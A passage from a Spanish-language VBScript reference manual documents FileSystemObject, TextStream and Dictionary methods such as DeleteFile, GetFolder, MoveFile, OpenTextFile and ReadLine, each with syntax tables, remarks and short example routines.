Descripción
objeto
Requerido. Siempre es el nombre de un objeto FileSystemObject.
especificacióndearchivo Requerido. El nombre del archivo que se va a eliminar. especificaciondearchivo puede contener caracteres comodín en el último componente de la ruta. forzar
Opcional. Valor de tipo Boolean que es igual a True si se deben eliminar los archivos con el atributo de sólo lectura establecido; y es igual a False (predeterminado) en caso contrario.
Comentarios Si no se encuentra ningún archivo se produce un error. El método DeleteFile se detiene en el primer error que encuentra. No se intenta deshacer ningún cambio realizado antes de que se produjera un error. En el siguiente ejemplo se muestra el uso del método DeleteFile: Sub DeleteAFile(especificaciondearchivo) Dim fso Set fso = CreateObject("Scripting.FileSystemObject") fso.DeleteFile(especificaciondearchivo) End Sub
Método DeleteFolder Descripción By KarlosVid(ÊÇ)
www.idat.byethost14.com
81
Elimina la carpeta especificada y su contenido.
Sintaxis objeto.DeleteFolder especificacióndecarpeta[, forzar] La sintaxis del método DeleteFolder tiene las siguientes partes: Parte
Descripción
objeto
Requerido. Siempre es el nombre de un objeto FileSystemObject.
especificaciondecarpeta Requerido. El nombre de la carpeta que se va a eliminar. El argumento especificacióndecarpeta puede contener caracteres comodín en el último componente de la ruta. forzar
Opcional. Valor de tipo Boolean que es True si se desea eliminar carpetas que tienen atributo de sólo lectura; el valor predeterminado es False si no se van a eliminar.
Comentarios El método DeleteFolderno diferencia las carpetas que tienen contenido y las que no tienen. La carpeta especificada se eliminará independientemente de si tiene o no tiene contenido. Se produce un error si no se encuentran carpetas coincidentes. El método DeleteFolder se detiene en el primer error que encuentra. No se intenta deshacer ningún cambio realizado antes de que se produjera un error. En el siguiente ejemplo se muestra el uso del método DeleteFolder: Sub EliminarUnaCarpeta(especificaciondearchivo) Dim fso Set fso = CreateObject("Scripting.FileSystemObject") fso.DeleteFolder(especificaciondearchivo) End Sub
Método DriveExists Descripción Devuelve True si existe la unidad especificada; en caso contrario, devuelve False.
Sintaxis objeto.DriveExists(especificacióndeunidad) La sintaxis del método DriveExists tiene las siguientes partes: Parte
Descripción
objeto
Requerido. Siempre es el nombre de un objeto FileSystemObject.
especificacióndeunidad
Requerido. Una letra de unidad o una especificación de ruta completa.
Comentarios Para unidades con discos removibles, el método DriveExists devuelve True aunque no esté ningún disco insertado. Use la propiedad IsReady del objeto Drive para determinar si una unidad está lista.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
82
En el siguiente ejemplo se muestra el uso del método DriveExists: Function EstadoDeUnidad(unidad) Dim fso, mensaje Set fso = CreateObject("Scripting.FileSystemObject") If fso.DriveExists(unidad) Then mensaje = ("La unidad " & UCase(unidad) & " existe.") Else mensaje = ("La unidad " & UCase(unidad) & " no existe.") End If EstadoDeUnidad = mensaje End Function
Método Exists Descripción Devuelve True si una clave especificada existe en el objeto Dictionary; devuelve False en caso contrario.
Sintaxis objeto.Exists(clave) La sintaxis del método Exists consta de las siguientes partes: Parte
Descripción
objeto
Es necesario. Siempre es el nombre de un objeto Dictionary.
key
Requerido. Valor clave que se está buscando en el objeto Dictionary.
Comentarios En el siguiente ejemplo se muestra el uso del método Exists: Function EjemploDeKeyExists Dim d, mensaje ' Crear algunas variables. Set d = CreateObject("Scripting.Dictionary") d.Add "a", "Atenas" ' Agregar algunas claves y elementos. d.Add "b", "Belgrado" d.Add "c", "Cairo" If d.Exists("c") Then mensaje = "La clave especificada existe." Else mensaje = "La clave especificada no existe." End If EjemploDeKeyExists = mensaje End Function
Método FileExists Descripción Devuelve True si existe un archivo especificado; en caso contrario, devuelve False.
Sintaxis objeto.FileExists(especificacióndearchivo)
By KarlosVid(ÊÇ)
www.idat.byethost14.com
83
La sintaxis del método FileExists tiene las siguientes partes: Parte
Descripción
objeto
Requerido. Siempre es el nombre de un objeto FileSystemObject.
especificaciondearchivo Requerido. El nombre del archivo cuya existencia se va a determinar. Se debe proporcionar una especificación de ruta completa (absoluta o relativa) si se espera que el archivo no exista en la carpeta actual.
Comentarios En el siguiente ejemplo se muestra el uso del método FileExists: Function EstadoDeArchivo(especificaciondearchivo) Dim fso, mensaje Set fso = CreateObject("Scripting.FileSystemObject") If (fso.FileExists(especificaciondearchivo)) Then mensaje = especificaciondearchivo & " existe." Else mensaje = especificaciondearchivo & " no existe." End If EstadoDeArchivo = mensaje End Function
Método FolderExists Descripción Devuelve True si existe una carpeta especificada; en caso contrario, devuelve False.
Sintaxis objeto.FolderExists(especificacióndecarpeta) La sintaxis del método FolderExists tiene las siguientes partes: Parte
Descripción
objeto
Requerido. Siempre es el nombre de un objeto FileSystemObject.
especificaciondecarpeta Requerido. El nombre de la carpeta cuya existencia se va a determinar. Se debe proporcionar una especificación de ruta completa (absoluta o relativa) si se espera que la carpeta no exista en la carpeta actual.
Comentarios En el siguiente ejemplo se muestra el uso del método FolderExists: Function EstadoDeCarpeta(carpeta) Dim fso, mensaje Set fso = CreateObject("Scripting.FileSystemObject") If (fso.FolderExists(carpeta)) Then mensaje = carpeta & " existe." Else mensaje = carpeta & " no existe." End If EstadoDeCarpeta = mensaje End Function
Método Método GetAbsolutePathName By KarlosVid(ÊÇ)
www.idat.byethost14.com
84
Descripción Devuelve una ruta completa y unívoca a partir de una especificación de ruta proporcionada.
Sintaxis objeto.GetAbsolutePathName(especificaciónderuta) La sintaxis del método GetAbsolutePathName tiene las siguientes partes: Parte
Descripción
objeto
Requerido. Siempre es el nombre de un objeto FileSystemObject.
especificaciónderuta
Requerido. Especificación de ruta que se va a cambiar a una ruta completa y unívoca.
Comentarios Una ruta es completa y unívoca si proporciona una referencia completa desde la raíz de la unidad especificada. Una ruta completa sólo puede finalizar con un carácter separador de rutas (\) si especifica la carpeta raíz de una unidad asignada. Si asume que el directorio actual es c:\misdocumentos\informes, la siguiente tabla muestra el comportamiento del método GetAbsolutePathName. especificaciónderuta
Ruta devuelta
"c:"
"c:\misdocumentos\informes"
"c:.."
"c:\misdocumentos"
"c:\\\"
"c:\"
"c:*.*\mayo97"
"c:\misdocumentos\informes\*.*\mayo97"
"región1"
"c:\misdocumentos\informes\región1"
"c:\..\..\misdocumentos"
"c:\misdocumentos"
Método GetBaseName Descripción Devuelve una cadena que contiene el nombre base del archivo (menos la extensión de archivo) o carpeta de una especificación de ruta proporcionada.
Sintaxis objeto.GetBaseName(ruta) La sintaxis del método GetBaseName tiene las siguientes partes: Parte
Descripción
objeto
Requerido. Siempre es el nombre de un objeto FileSystemObject.
ruta
Requerido. La especificación de ruta del archivo o carpeta cuyo nombre base se va a devolver.
Comentarios By KarlosVid(ÊÇ)
www.idat.byethost14.com
85
El método GetBaseName devuelve una cadena de longitud cero ("") si ningún archivo o carpeta coincide con el argumento ruta. En el siguiente ejemplo se muestra el uso del método GetBaseName: Function ObtenerBase(especificaciondearchivo) Dim fso Set fso = CreateObject("Scripting.FileSystemObject") ObtenerBase = fso.GetBaseName(especificaciondearchivo) End Function
Nota El método GetBaseName sólo funciona en la cadena ruta proporcionada. No intenta resolver la ruta ni verifica la existencia de la ruta especificada.
Método GetDrive Descripción Devuelve un objeto Drive que corresponde a la unidad de una ruta especificada.
Sintaxis objeto.GetDrive especificacióndeunidad La sintaxis del método GetDrive tiene las siguientes partes: Parte
Descripción
objeto
Requerido. Siempre es el nombre de un objeto FileSystemObject.
especificacióndeunidad Requerido. El argumento especificacióndeunidad puede ser una letra de unidad (c), una letra de unidad seguida de dos puntos (c:), una letra de unidad seguida de dos puntos y de un separador de rutas (c:\) o cualquier especificación de recurso compartido de red (\\equipo2\recurso1).
Comentarios Para los recursos compartidos de red se comprueba la existencia del recurso. Se produce un error si especificacióndeunidad no cumple con uno de los formatos aceptados o si no existe. Para llamar al método GetDrive en una cadena de ruta normal, use la siguiente secuencia para obtener una cadena que se pueda usar como especificacióndeunidad: EspecificaciondeUnidad = GetDriveName(GetAbsolutePathName(ruta)) En el siguiente ejemplo se muestra el uso del método GetDrive: Function MostrarEspacioLibre(unidadRuta) Dim fso, d, s Set fso = CreateObject("Scripting.FileSystemObject") Set d = fso.GetDrive(fso.GetDriveName(unidadRuta)) s = "Unidad " & UCase(unidadRuta) & " - " s = s & d.VolumeName & "
" s = s & "Espacio libre: " & FormatNumber(d.FreeSpace/1024, 0) s = s & " Kbytes" MostrarEspacioLibre = s End Function
Método GetDriveName By KarlosVid(ÊÇ)
www.idat.byethost14.com
86
Descripción Devuelve una cadena que contiene el nombre de la unidad para una ruta especificada.
Sintaxis objeto.GetDriveName(ruta) La sintaxis del método GetDriveName tiene las siguientes partes: Parte
Descripción
objeto
Requerido. Siempre es el nombre de un objeto FileSystemObject.
ruta
Requerido. La especificación de ruta para el componente cuyo nombre de unidad se va a devolver.
Comentarios El método GetDriveName devuelve una cadena de longitud cero ("") si no se puede determinar la unidad. En el siguiente ejemplo se muestra el uso del método GetDriveName: Function ObtenerUnNombre(EspecificacionDeUnidad) Dim fso Set fso = CreateObject("Scripting.FileSystemObject") ObtenerUnNombre = fso.GetDriveName(EspecificacionDeUnidad) End Function
Nota El método GetDriveName sólo funciona en la cadena ruta proporcionada. No intenta resolver la ruta ni verifica la existencia de la ruta especificada.
Método GetExtensionName Descripción Devuelve una cadena que contiene el nombre de extensión para el último componente de la ruta.
Sintaxis objeto.GetExtensionName(ruta) La sintaxis del método GetExtensionName tiene las siguientes partes: Parte
Descripción
objeto
Requerido. Siempre es el nombre de un objeto FileSystemObject.
ruta
Requerido. La especificación de ruta para el componente cuyo nombre de extensión se va a devolver.
Comentarios Para unidades de red, el directorio raíz (\) se considera un componente. El método GetExtensionName devuelve una cadena de longitud cero ("") si ningún componente coincide con el argumento ruta. En el siguiente ejemplo se muestra el uso del método GetExtensionName:
By KarlosVid(ÊÇ)
www.idat.byethost14.com
87
Function ObtenerUnaExtension(EspecificacionDeUnidad) Dim fso Set fso = CreateObject("Scripting.FileSystemObject") ObtenerUnaExtension = fso.GetExtensionName(EspecificacionDeUnidad) End Function
Método GetFile Descripción Devuelve un objeto File que corresponde al archivo de la ruta especificada.
Sintaxis objeto.GetFile(especificaciondearchivo) La sintaxis del método GetFile tiene las siguientes partes: Parte
Descripción
objeto
Requerido. Siempre es el nombre de un objeto FileSystemObject.
especificaciondearchivo Requerido. especificaciondearchivo es la ruta (absoluta o relativa) a un archivo específico.
Comentarios Se produce un error si el archivo especificado no existe. En el siguiente ejemplo se muestra el uso del método GetFile: Function MostrarInformacionDeAccesoDeArchivo(especificaciondearchivo) Dim fso, f, s Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFile(especificaciondearchivo) s = f.Path & "
" s = s & "Creado: " & f.DateCreated & "
" s = s & "Último acceso: " & f.DateLastAccessed & "
" s = s & "Última modificación: " & f.DateLastModified MostrarInformacionDeAccesoDeArchivo = s End Function
Método GetFileName Descripción Devuelve el último nombre de archivo o carpeta de una ruta especificada que no forma parte de la especificación de unidad.
Sintaxis objeto.GetFileName(especificaciónderuta) La sintaxis del método GetFileName tiene las siguientes partes: Parte
By KarlosVid(ÊÇ)
Descripción
www.idat.byethost14.com
88
objeto
Requerido. Siempre es el nombre de un objeto FileSystemObject.
especificaciónderuta
Requerido. La ruta (absoluta o relativa) a un archivo especificado.
Comentarios El método GetFileName devuelve una cadena de longitud cero ("") si especificaciónderuta no finaliza con el nombre de archivo o carpeta. En el siguiente ejemplo se muestra el uso del método GetFileName: Function ObtenerUnNombre(EspecificacionDeUnidad) Dim fso Set fso = CreateObject("Scripting.FileSystemObject") ObtenerUnNombre = fso.GetFileName(EspecificacionDeUnidad) End Function
Nota El método GetFileName sólo funciona en la cadena de ruta proporcionada. No intenta resolver la ruta ni verifica la existencia de la ruta especificada.
Método GetFolder Descripción Devuelve un objeto Folder que corresponde a la carpeta de la ruta especificada.
Sintaxis objeto.GetFolder(especificaciondecarpeta) La sintaxis del método GetFolder tiene las siguientes partes: Parte
Descripción
objeto
Requerido. Siempre es el nombre de un objeto FileSystemObject.
especificaciondecarpeta Requerido. especificaciondecarpeta es la ruta (absoluta o relativa) a una carpeta específica.
Comentarios Se produce un error si la carpeta especificada no existe. El siguiente ejemplo muestra el uso del método GetFolder para devolver un objeto Folder: Sub AgregarNuevaCarpeta(ruta, nombredecarpeta) Dim fso, f, fc, nf Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFolder(ruta) Set fc = f.SubFolders If nombredecarpeta <> "" Then Set nf = fc.Add(nombredecarpeta) Else Set nf = fc.Add("Nueva carpeta") End If End Sub
By KarlosVid(ÊÇ)
www.idat.byethost14.com
89
Método GetParentFolderName Descripción Devuelve una cadena que contiene el nombre de la carpeta principal del último archivo o carpeta de la ruta especificada.
Sintaxis objeto.GetParentFolderName(ruta) La sintaxis del método GetParentFolderName tiene las siguientes partes: Parte
Descripción
objeto Requerido. Siempre es el nombre de un objeto FileSystemObject. ruta
Requerido. La especificación de ruta para el archivo o carpeta cuyo nombre de carpeta principal se va a devolver.
Comentarios El método GetParentFolderName devuelve una cadena de longitud cero ("") si no hay carpeta principal para el archivo o carpeta especificado en el argumento ruta. En el siguiente ejemplo se muestra el uso del método GetParentFolderName: Function ObtenerPrincipal(EspecificacionDeUnidad) Dim fso Set fso = CreateObject("Scripting.FileSystemObject") ObtenerPrincipal = fso.GetParentFolderName(EspecificacionDeUnidad) End Function
Nota El método GetParentFolderName sólo funciona en la cadena ruta proporcionada. No intenta resolver la ruta ni verifica la existencia de la ruta especificada.
Método GetSpecialFolder Descripción Devuelve la carpeta especial especificada.
Sintaxis objeto.GetSpecialFolder(especificaciondecarpeta) La sintaxis del método GetSpecialFolder tiene las siguientes partes: Parte
Descripción
objeto
Requerido. Siempre es el nombre de un objeto FileSystemObject.
especificaciondecarpeta Requerido. El nombre de la carpeta especial que se va a devolver. Puede ser cualquiera de las constantes mostradas en la sección Valores.
Valores By KarlosVid(ÊÇ)
www.idat.byethost14.com
90
El argumento especificaciondecarpeta puede tener cualquiera de los siguientes valores: Constante
Valor
Descripción
WindowsFolder
0
La carpeta Windows contiene archivos instalados por el sistema operativo Windows.
SystemFolder
1
La carpeta System contiene bibliotecas, fuentes y controladores de dispositivos.
TemporaryFolder
2
La carpeta Temp se usa para almacenar archivos temporalmente. Su ruta se encuentra en la variable de entorno TMP.
Comentarios En el siguiente ejemplo se muestra el uso del método GetSpecialFolder: Dim fso, archivotemporal Set fso = CreateObject("Scripting.FileSystemObject") Function CrearArchivoTemporal Dim tcarpeta, tnombre, tarchivo Const TemporaryFolder = 2 Set tcarpeta = fso.GetSpecialFolder(TemporaryFolder) tnombre = fso.GetTempName Set tarchivo = tcarpeta.CreateTextFile(tnombre) Set CrearArchivoTemporal = tarchivo End Function Set archivotemporal = CrearArchivoTemporal archivotemporal.WriteLine "Hola mundo" archivotemporal.Close
Método GetTempName Descripción Devuelve un nombre de archivo o carpeta temporal generado aleatoriamente que es útil para realizar operaciones que requieren un archivo o una carpeta temporal.
Sintaxis objeto.GetTempName El argumento opcional objeto siempre es el nombre de un objeto FileSystemObject.
Comentarios El método GetTempName no crea un archivo. Sólo proporciona un nombre de archivo temporal que se puede usar con CreateTextFile para crear un archivo. En el siguiente ejemplo se muestra el uso del método GetTempName: Dim fso, archivotemporal Set fso = CreateObject("Scripting.FileSystemObject") Function CrearArchivoTemporal Dim tcarpeta, tnombre, tarchivo Const TemporaryFolder = 2 Set tcarpeta = fso.GetSpecialFolder(TemporaryFolder) tnombre = fso.GetTempName Set tarchivo = tcarpeta.CreateTextFile(tnombre) Set CrearArchivoTemporal = tarchivo
By KarlosVid(ÊÇ)
www.idat.byethost14.com
91
End Function Set archivotemporal = CrearArchivoTemporal archivotemporal.WriteLine "Hola mundo" archivotemporal.Close
Método Ítems Descripción Devuelve una matriz que contiene todos los elementos en un objeto Dictionary.
Sintaxis objeto.Items objeto siempre es el nombre de un objeto Dictionary.
Comentarios En el siguiente código se muestra el uso del método Items: Function EjemploDeDic Dim a, d, i, s ' Crea algunas variables Set d = CreateObject("Scripting.Dictionary") d.Add "a", "Atenas" ' Agrega algunas claves y elementos d.Add "b", "Belgrado" d.Add "c", "Cairo" a = d.Items ' Obtiene los elementos For i = 0 To d.Count -1 ' Itera la matriz s = s & a(i) & "
" ' Crea cadena de devolución Next EjemploDeDic = s End Function
Método Keys Descripción Devuelve una matriz que contiene todas las claves existentes en un objeto Dictionary.
Sintaxis objeto.Keys objeto siempre es el nombre de un objeto Dictionary.
Comentarios En el siguiente código se muestra el uso del método Keys: Function EjemploDeDic Dim a, d, i ' Crea algunas variables Set d = CreateObject("Scripting.Dictionary") d.Add "a", "Atenas" ' Agrega algunas claves y elementos d.Add "b", "Belgrado" d.Add "c", "Cairo" ' Obtiene las claves a = d.Keys For i = 0 To d.Count -1 ' Itera la matriz s = s & a(i) & "
" ' Devuelve resultados
By KarlosVid(ÊÇ)
www.idat.byethost14.com
92
Next EjemploDeDic = s End Function
Método Move Descripción Mueve un archivo o carpeta especificados desde una ubicación a otra.
Sintaxis objeto.Move destino La sintaxis del método Move tiene las siguientes partes: Parte
Descripción
objeto
Requerido. Siempre es el nombre de un objeto File o Folder
destino
Requerido. Destino al que se va a mover el archivo o carpeta. No se admiten caracteres comodín.
Comentarios Los resultados del método Move en un objeto File o en un objeto Folder son idénticos a las operaciones realizadas con FileSystemObject.MoveFile o FileSystemObject.MoveFolder. Sin embargo, debería tener en cuente que los métodos alternativos son capaces de mover varios archivos o carpetas. En el siguiente ejemplo se muestra el uso del método Move: Dim fso, MyFile Set fso = CreateObject("Scripting.FileSystemObject") Set MyFile = fso.CreateTextFile("c:\prueba.txt", True) a.WriteLine("Esto es una prueba.") MyFile.Close Set MyFile = fso.GetFile("c:\prueba.txt") MyFile.Move "c:\windows\escritorio\"
Método MoveFile Descripción Mueve uno o más archivos desde una ubicación a otra.
Sintaxis objeto.MoveFile origen, destino La sintaxis del método MoveFile tiene las siguientes partes: Parte
Descripción
objeto
Requerido. Siempre es el nombre de un objeto FileSystemObject.
origen
Requerido. La ruta del archivo o archivos que se van a mover. El argumento origen sólo puede contener caracteres comodín en el último componente de la ruta.
destino Requerido. La ruta a la que se van a mover el archivo o archivos. El argumento destino no puede contener
By KarlosVid(ÊÇ)
www.idat.byethost14.com
93
caracteres comodín.
Comentarios Si origen contiene caracteres comodín o si destino termina con un separador de ruta (\), se asume que destino especifica una carpeta existente a la que se van a mover los archivos coincidentes. De lo contrario, se asume que destino es el nombre de un archivo de destino que se va a crear. En cualquier caso, pueden ocurrir tres situaciones cuando se mueve un solo archivo: • • •
Si destino no existe, el archivo se mueve. Este es el caso más frecuente. Si destino es un archivo existente, se produce un error. Si destino es un directorio, se produce un error.
También se produce un error si un carácter comodín que se usa en origen no coincide con ningún archivo. El método MoveFile se detiene en el primer error que encuentra. No se intenta deshacer los cambios antes de que se produzca el error. En el siguiente ejemplo se muestra el uso del método MoveFile: Sub MoverUnArchivo(EspecificacionDeArchivo) Dim fso Set fso = CreateObject("Scripting.FileSystemObject") fso.MoveFile EspecificacionDeArchivo, "c:\windows\escritorio\" End Sub
Importante Este método sólo permite mover archivos entre volúmenes si el sistema operativo lo permite.
Método MoveFolder Descripción Mueve una o más carpetas desde una ubicación a otra.
Sintaxis objeto.MoveFolder origen, destino La sintaxis del método MoveFolder tiene las siguientes partes: Parte
Descripción
objeto
Requerido. Siempre es el nombre de un objeto FileSystemObject.
origen
Requerido. La ruta a la carpeta o carpetas que se van a mover. El argumento origen sólo puede contener caracteres comodín en el último componente de la ruta.
destino Requerido. La ruta a la que se van a mover la carpeta o carpetas. El argumento destino no puede contener caracteres comodín.
Comentarios Si origen contiene caracteres comodín o si destino termina con un separador de rutas (\), se asume que destino especifica una carpeta existente a la que se van a mover los archivos coincidentes. De lo contrario, se asume que destino es el nombre de una carpeta de destino que se va a crear. En cualquier caso, pueden ocurrir tres situaciones cuando se mueve una sola carpeta: • •
Si destino no existe, la carpeta se mueve. Este es el caso más frecuente. Si destino es un archivo existente, se produce un error.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
94
•
Si destino es un directorio, se produce un error.
También se produce un error si un carácter comodín que se usa en origen no coincide con ninguna carpeta. El método MoveFolder se detiene en el primer error que encuentra. No se intenta deshacer los cambios hechos antes de que ocurriera el error. En el siguiente ejemplo se muestra el uso del método MoveFolder: Sub MoverUnaCarpeta(EspecificacionDeUnidad) Dim fso Set fso = CreateObject("Scripting.FileSystemObject") fso.MoveFolder EspecificacionDeUnidad, "c:\windows\escritorio\" End Sub
Importante Este método sólo permite mover carpetas entre volúmenes si el sistema operativo lo permite.
Método OpenAsTextStream Descripción Abre un archivo especificado y devuelve un objeto TextStream que se puede usar para leer, escribir o anexar datos al archivo.
Sintaxis objeto.OpenAsTextStream([modoES, [formato]]) La sintaxis del método OpenAsTextStream tiene las siguientes partes: Parte
Descripción
objeto
Requerido. Siempre es el nombre de un objeto File.
modoES Opcional. Indica el modo de entrada y salida. Puede ser una de tres constantes: ForReading, ForWriting o ForAppending. formato
Opcional. Uno de tres valores Tristate usados para indicar el formato del archivo abierto. Si se omite, el archivo se abre con formato ASCII.
Valores El argumento modoES puede tener uno de los siguientes valores: Constante
Valor
Descripción
ForReading
1
Abre un archivo sólo para leer. No se puede escribir en ese archivo.
ForWriting
2
Abre un archivo para escribir. Si ya existe un archivo con el mismo nombre, su contenido anterior se sobreescribe.
ForAppending
8
Abre un archivo y escribe al final del mismo.
El argumento formato puede tener uno de los siguientes valores: Constante
Valor
Descripción
TristateUseDefault
-2
Opens the file using the system default.
TristateTrue
-1
Opens the file as Unicode.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
95
0
TristateFalse
Opens the file as ASCII.
Comentarios El método OpenAsTextStream proporciona la misma funcionalidad que el método OpenTextFile de FileSystemObject. Además, el método OpenAsTextStream se puede usar para escribir en un archivo. El siguiente código muestra el uso del método OpenAsTextStream: Function ProbarTextStream Const ForReading = 1, ForWriting = 2, ForAppending = 8 Const TristateUseDefault = -2, TristateTrue = -1, TristateFalse = 0 Dim fso, f, ts Set fso = CreateObject("Scripting.FileSystemObject") fso.CreateTextFile "test1.txt" ' Crea un archivo. Set f = fso.GetFile("test1.txt") Set ts = f.OpenAsTextStream(ForWriting, TristateUseDefault) ts.Write "Hola a todos" ts.Close Set ts = f.OpenAsTextStream(ForReading, TristateUseDefault) ProbarTextStream = ts.ReadLine ts.Close End Function
Método OpenTextFile Descripción Abre un archivo especificado y devuelve un objeto TextStream que se puede usar para leer, escribir o anexar datos al archivo.
Sintaxis objeto.OpenTextFile(nombredearchivo[, modoES[, crear[, formato]]]) El método OpenTextFileCreateFolder tiene las siguientes partes: Parte
Descripción
objeto
Requerido. Siempre es el nombre de un objeto FileSystemObject.
nombredearchivo Requerido. Expresión de cadena que identifica el archivo que se va a abrir. modoES
Opcional. Indica el modo de entrada y salida. Puede ser una de tres constantes: ForReading, ForWriting o ForAppending.
crear
Opcional. Valor de tipo Boolean que indica si se puede crear un nuevo archivo si no existe nombredearchivo especificado. El valor es True si se crea un nuevo archivo; y es igual a False si no se crea. El valor predeterminado es False.
formato
Opcional. Uno de tres valores Tristate que se usa para indicar el formato del archivo abierto. Si se omite, el archivo se abre como ASCII.
Valores El argumento modoES puede tener cualquiera de los siguientes valores: Constante ForReading
Valor 1
By KarlosVid(ÊÇ)
Descripción Abre un archivo sólo para leer. No se puede escribir en ese archivo.
www.idat.byethost14.com
96
ForWriting
2
Abre un archivo sólo para escribir. No se puede leer de ese archivo.
ForAppending
8
Abre un archivo y escribe al final del mismo.
El argumento formato puede tener uno de los siguientes valores: Constante
Valor
Descripción
TristateUseDefault
-2
Abre el archivo con el valor predeterminado del sistema.
TristateTrue
-1
Abre el archivo como Unicode.
TristateFalse
0
Abre el archivo como ASCII.
Comentarios El siguiente código muestra el uso del método OpenTextFile para abrir un archivo para escribir texto: Sub ProbarOpenTextFile Const ForReading = 1, ForWriting = 2, ForAppending = 8 Dim fso, f Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.OpenTextFile("c:\prueba.txt", ForWriting, True) f.Write "Hola mundo" f.Close End Sub
Método Read Descripción Lee un número especificado de caracteres de un archivo TextStream y devuelve la cadena resultante. Sintaxis objeto.Read(caracteres) La sintaxis del método Read tiene las siguientes partes: Parte
Descripción
objeto
Requerido. Siempre es el nombre de un objeto TextStream.
caracteres
Requerido. Número de caracteres que desea leer del archivo.
Comentarios En el siguiente ejemplo se muestra el uso del método Read para leer cinco caracteres de un archivo y devolver la cadena resultante: Function LeerPruebaDeArchivoDeTexto Const ParaLeer = 1, ParaEscribir = 2, ParaAnexar = 8 Dim fso, f, Msg Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.OpenTextFile("c:\prueba.txt", ParaEscribir, True) f.Write "Hola mundo" Set f = fso.OpenTextFile("c:\prueba.txt", ParaLeer) LeerPruebaDeArchivoDeTexto = f.Read(5) End Function
By KarlosVid(ÊÇ)
www.idat.byethost14.com
97
Método ReadAll Descripción Lee un archivo TextStream completo y devuelve la cadena resultante.
Sintaxis objeto.ReadAll objeto siempre es el nombre de un objeto TextStream.
Comentarios Con archivos largos el uso del método ReadAll consume muchos recursos de memoria. Debe usar otras técnicas para introducir un archivo, como leer un archivo línea a línea. Function LeerArchivoDeTextoCompleto Const ParaLeer = 1, ParaEscribir = 2 Dim fso, f Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.OpenTextFile("c:\prueba.txt", ParaEscribir, True) f.Write "Hola mundo" Set f = fso.OpenTextFile("c:\prueba.txt", ParaLeer) LeerArchivoDeTextoCompleto = f.ReadAll End Function
Método ReadLine Descripción Lee una línea completa (hasta el carácter de nueva línea, sin incluirlo) desde un archivo TextStream y devuelve la cadena resultante.
Sintaxis objeto.ReadLine El argumento objeto siempre es el nombre de un objeto TextStream.
Comentarios En el siguiente ejemplo se muestra el uso del método ReadLine para leer una línea desde un archivo TextStream y devolver la cadena: Function LeerLíneaEnArchivoDeTexto Const ForReading = 1, ForWriting = 2 Dim fso, MyFile Set fso = CreateObject("Scripting.FileSystemObject") Set MyFile = fso.OpenTextFile("c:\archprue.txt", ForWriting, True) MyFile.WriteLine "Hola a todos" MyFile.WriteLine "La rápida zorra marrón" MyFile.Close Set MyFile = fso.OpenTextFile("c:\archprue.txt", ForReading) LeerLíneaEnArchivoDeTexto = MyFile.ReadLine ' Devuelve "Hola a todos" End Function
Método Remove By KarlosVid(ÊÇ)
www.idat.byethost14.com
98
Descripción Quita un par de elemento y clave de un objeto Dictionary.
Sintaxis objeto.Remove(clave) La sintaxis del método Remove tiene las siguientes partes: Parte
Descripción
objeto
Requerido. Siempre es el nombre de un objeto Dictionary.
clave
Requerido. Clave asociada con el par de elemento y clave que desea quitar el objeto Dictionary.
Comentarios Se producirá un error si el par de elemento y clave no existe. En el siguiente código se muestra el uso del método Remove: Dim a, d ' Crea algunas variables Set d = CreateObject("Scripting.Dictionary") d.Add "a", "Atenas" ' Agrega algunas claves y elementos d.Add "b", "Belgrado" d.Add "c", "Cairo" ... d.Remove("b") ' Quita el segundo par
Método RemoveAll Descripción El método RemoveAll quita todos los pares de elementos y claves de un objeto Dictionary.
Sintaxis objeto.RemoveAll objeto siempre es el nombre de un objeto Dictionary.
Comentarios En el siguiente código se muestra el uso del método RemoveAll: Dim a, d, i ' Crea algunas variables Set d = CreateObject("Scripting.Dictionary") d.Add "a", "Atenas" ' Agrega algunas claves y elementos d.Add "b", "Belgrado" d.Add "c", "Cairo" ... a = d.RemoveAll ' Borra el diccionario
Método Skip Descripción By KarlosVid(ÊÇ)
www.idat.byethost14.com
99
Salta un número de caracteres especificado al leer un archivo TextStream.
Sintaxis objeto.Skip(caracteres) La sintaxis del método Skip tiene las siguientes partes: Parte
Descripción
objeto
Requerido. Siempre es el nombre de un objeto TextStream.
caracteres
Requerido. Número de caracteres que se saltan al leer un archivo.
Comentarios Los caracteres saltados se ignoran. Los siguientes ejemplos usan el método Skip para saltar los primeros seis caracteres antes de leer un archivo de texto: Function SaltarArchivoDeTexto Const ForReading = 1, ForWriting = 2 Dim fso, f Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.OpenTextFile("c:\prueba.txt", ForWriting, True) f.Write "Hola mundo" Set f = fso.OpenTextFile("c:\prueba.txt", ForReading) f.Skip(6) SaltarArchivoDeTexto = f.ReadLine End Function
Método SkipLine Descripción Salta a la siguiente línea al leer un archivo TextStream.
Sintaxis objeto.SkipLine objeto siempre es el nombre de un objeto TextStream.
Comentarios Saltar una línea significa leer y pasar por alto todos los caracteres de una línea hasta el carácter de nueva línea, incluyendo el mismo. Se produce un error si el archivo no está abierto para lectura. En el siguiente ejemplo se muestra el uso del método SkipLine: Function SaltarLíneaEnArchivo Const ParaLeer = 1, ParaEscribir = 2 Dim fso, f Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.OpenTextFile("c:\prueba.txt", ParaEscribir, True) f.Write "Hola mundo" & vbCrLf & "VB Script es divertido" Set f = fso.OpenTextFile("c:\prueba.txt", ParaLeer) f.SkipLine
By KarlosVid(ÊÇ)
www.idat.byethost14.com
100
SaltarLíneaEnArchivo = f.ReadLine End Function
Método Write Descripción Escribe una cadena especificada en un archivo TextStream.
Sintaxis objeto.Write(cadena) La sintaxis del método Write tiene las siguientes partes: Parte
Descripción
objeto
Requerido. Siempre es el nombre de un objeto TextStream.
cadena
Requerido. Texto que desea escribir en el archivo.
